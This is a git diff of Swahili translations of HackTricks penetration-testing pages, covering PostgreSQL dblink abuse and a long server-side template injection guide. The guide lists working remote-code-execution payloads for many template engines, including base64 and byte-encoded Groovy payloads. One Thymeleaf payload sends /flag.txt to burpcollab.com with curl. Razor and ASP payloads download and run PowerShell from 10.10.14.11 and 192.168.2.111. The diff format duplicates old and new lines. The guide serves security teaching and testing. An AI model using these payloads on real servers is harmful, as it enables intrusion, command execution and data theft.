Moduli ya **PostgreSQL `dblink`** inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinapounganishwa na kazi ya `COPY FROM`, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
**Moduli ya PostgreSQL `dblink`** inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinapounganishwa na kazi ya `COPY FROM`, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya [kutekeleza mashambulizi haya](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Mfano wa Exfiltration ukitumia dblink na vitu vikubwa**
Unaweza [**kusoma mfano huu**](dblink-lo\_import-data-exfiltration.md) kuona mfano wa CTF wa **jinsi ya kupakia data ndani ya vitu vikubwa na kisha kutoa maudhui ya vitu vikubwa ndani ya jina la mtumiaji** la kazi `dblink_connect`.
Unaweza [**kusoma mfano huu**](dblink-lo\_import-data-exfiltration.md) kuona mfano wa CTF wa **jinsi ya kupakia data ndani ya vitu vikubwa na kisha kutoa maudhui ya vitu vikubwa ndani ya jina la mtumiaji** wa kazi `dblink_connect`.
## Mashambulizi ya PostgreSQL: Soma/andika, RCE, privesc
@ -59,19 +59,19 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Hii kazi itarudisha data zote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kutupa data nyingi katika safu 1 tu:
Hii kazi itarudisha data zote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kutupa data nyingi katika safu moja tu:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
Hii kazi itatoa hifadhidata yote katika muundo wa XML kwa safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Ikiwa unaweza kuendesha **queries** ukipitia **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kupita filters kwa njia hii:**
Ikiwa unaweza kuendesha **queries** ukipitia **ndani ya string** (kwa mfano kutumia kazi ya **`query_to_xml`**). **Unaweza kutumia convert\_from kupitisha string kama hex na kupita vichungi kwa njia hii:**
{% code overflow="wrap" %}
```sql
@ -97,9 +97,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya udukuzi** na kudukuza yasiyoweza kudukuliwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya uhalifu wa kompyuta** na kujaribu kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa ufasaha kwa Kipolandi kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -113,7 +113,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu za uhalifu wa kompyuta kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -1,16 +1,18 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}
@ -23,9 +25,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## What is SSTI (Server-Side Template Injection)
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya katika kiolezo ambacho kinatekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo ambacho kinatekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilicho hatarini kinachotumia Jinja:
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilichokumbwa na udhaifu ukitumia Jinja:
```python
output = template.render(name=request.args.get('name'))
```
@ -35,28 +37,34 @@ Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:
```
http://vulnerable-website.com/?name={{bad-stuff-here}}
```
The payload `{{bad-stuff-here}}` imeingizwa kwenye parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
The payload `{{bad-stuff-here}}` imeingizwa katika parameter ya `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa vizuri na kuthibitishwa kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa vizuri na kuthibitishwa kabla ya kuingizwa katika templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
### Detection
Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
* Makosa yaliyot thrown, yanayoonyesha udhaifu na labda injini ya template.
* Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
* Makosa yaliyotupwa, yanayoonyesha udhaifu na labda injini ya template.
* Kukosekana kwa payload katika kioo, au sehemu zake kukosekana, ikimaanisha kuwa seva inashughulikia tofauti na data ya kawaida.
* **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano, `{{7*7}}`, `${7*7}`).
* **Muktadha wa Code**: Thibitisha udhaifu kwa kubadilisha parameta za pembejeo. Kwa mfano, kubadilisha `greeting` kwenye `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenye `greeting=data.username}}hello` inarudisha jina la mtumiaji.
* **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` katika `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama katika `greeting=data.username}}hello` inarudisha jina la mtumiaji.
#### Identification Phase
Kujua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payloads mbalimbali za lugha maalum. Payloads za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
Kujua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payloads mbalimbali maalum kwa lugha. Payloads za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za hisabati husaidia kubaini injini maalum ya template.
#### Identification by payloads
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Tools
### [TInjA](https://github.com/Hackmanit/TInjA)
scanner bora wa SSTI + CSTI inayotumia polyglots mpya
scanner mzuri wa SSTI + CSTI ambayo inatumia polyglots mpya
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -75,7 +83,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
```
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za template.
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za template.
## Exploits
@ -109,7 +117,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
```
### FreeMarker (Java)
Unaweza kujaribu payload zako kwenye [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
Unaweza kujaribu payloads zako kwenye [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
@ -161,14 +169,14 @@ $str.valueOf($chr.toChars($out.read()))
$out.read()
#end
```
**More information**
**Maelezo zaidi**
* Katika sehemu ya Velocity ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
### Thymeleaf
Katika Thymeleaf, mtihani wa kawaida wa SSTI vulnerabilities ni expression `${7*7}`, ambayo pia inatumika kwa injini hii ya templeti. Kwa ajili ya uwezekano wa utekelezaji wa msimbo wa mbali, expressions kama ifuatavyo zinaweza kutumika:
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa utekelezaji wa kodi ya mbali, usemi kama ifuatavyo unaweza kutumika:
* SpringEL:
@ -181,11 +189,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Thymeleaf inahitaji kwamba expressions hizi ziwe katika sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, payload rahisi ya mtihani wa SSTI inaweza kuonekana kama `[[${7*7}]]`.
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
Hata hivyo, uwezekano wa payload hii kufanya kazi kwa ujumla ni mdogo. Mipangilio ya default ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandikwa mapema. Wataalamu wa maendeleo wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi mara moja, ambayo si ya kawaida.
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimewekwa awali. Wataalamu wa maendeleo wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi mara moja, ambayo si ya kawaida.
Thymeleaf pia inatoa _expression preprocessing_, ambapo expressions ndani ya underscores mbili (`__...__`) zinaproseswa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa expressions, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
```java
#{selection.__${sel.code}__}
```
@ -196,7 +204,7 @@ Fikiria kipande hiki cha msimbo, ambacho kinaweza kuwa na hatari ya kutumiwa:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
Hii inaonyesha kwamba ikiwa injini ya kiolezo itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:
Hii inaonyesha kwamba ikiwa injini ya templeti itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:
```
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@ -254,7 +262,7 @@ print(base_payload + end_payload)
* [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html)
* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd)
### Usanifu wa Nadharia ya Spring (Java)
### Usanifu wa Mtazamo wa Spring (Java)
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
@ -422,6 +430,12 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Other Java
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
* Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) ni tukio muhimu zaidi la usalama wa mtandao nchini **Hispania** na moja ya muhimu zaidi barani **Ulaya**. Kwa **lengo la kukuza maarifa ya kiufundi**, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
@ -582,10 +596,16 @@ $t->parse('authorline_ref', 'authorline', true);
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
**Maelezo zaidi**
**Taarifa zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib)
### PHP Nyingine
<figure><img src="../../.gitbook/assets/image (6).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg</a></p></figcaption></figure>
* Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Jade (NodeJS)
```javascript
- var x = root.process
@ -604,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) injini ya kutengeneza template ya PHP isiyo na uandishi, inayotumia lebo za XML kugawanya hati katika sehemu tofauti
> [patTemplate](https://github.com/wernerwa/pat-template) injini ya kutengeneza PHP isiyo na mkusanyiko, inayotumia lebo za XML kugawanya hati katika sehemu tofauti
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -660,11 +680,11 @@ URLencoded:
### JsRender (NodeJS)
| **Kigezo** | **Maelezo** |
|------------|-----------------------------------------|
| | Thibitisha na uwasilishe matokeo |
| | Thibitisha na uwasilishe matokeo ya HTML yaliyowekwa msimbo |
| | Maoni |
| na | Ruhusu msimbo (imezimwa kwa default) |
| ------------ | --------------------------------------- |
| | Thibitisha na uwasilishe matokeo |
| | Thibitisha na uwasilishe matokeo ya HTML yaliyotolewa |
| | Maoni |
| na | Ruhusu msimbo (imezimwa kwa default) |
* \= 49
@ -709,12 +729,20 @@ home = pugjs.render(injected_page)
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### NodeJS Nyingine
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Hitilafu`
* `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
@ -736,13 +764,21 @@ home = pugjs.render(injected_page)
```
{ %x|env| }
```
**Taarifa zaidi**
**Maelezo zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Ruby Nyingine
<figure><img src="../../.gitbook/assets/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
* Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python
Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipaka kwa kukwepa sandboxes** katika python:
Angalia ukurasa ufuatao kujifunza hila kuhusu **kutekeleza amri zisizo na mipaka kwa kukwepa sandboxes** katika python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -770,15 +806,15 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipak
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**More information**
**Maelezo zaidi**
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
### Jinja2 (Python)
[Official website](http://jinja.pocoo.org)
[Website rasmi](http://jinja.pocoo.org)
> Jinja2 ni injini ya kutengeneza template yenye vipengele vyote kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
@ -846,26 +882,34 @@ x=os.popen('id').read()
%>
${x}
```
**Maelezo zaidi**
**Taarifa zaidi**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Python Nyingine
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
* Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
* `@(2+2) <= Mafanikio`
* `@() <= Mafanikio`
* `@("{{code}}") <= Mafanikio`
* `@ <=Mafanikio`
* `@{} <= KOSA!`
* `@{ <= KOSA!`
* `@(2+2) <= Success`
* `@() <= Success`
* `@("{{code}}") <= Success`
* `@ <=Success`
* `@{} <= ERROR!`
* `@{ <= ERRROR!`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo hatarini katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa webapp iliyo hatarini katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Maelezo zaidi**
**Taarifa zaidi**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
@ -874,8 +918,8 @@ Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mcha
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Hakuna
* `<%= response.write(date()) %>` = \<Tarehe>
* `<%= foo %>` = Nothing
* `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
@ -897,19 +941,23 @@ Hata kama ni perl inatumia lebo kama ERB katika Ruby.
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
* `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifunua.
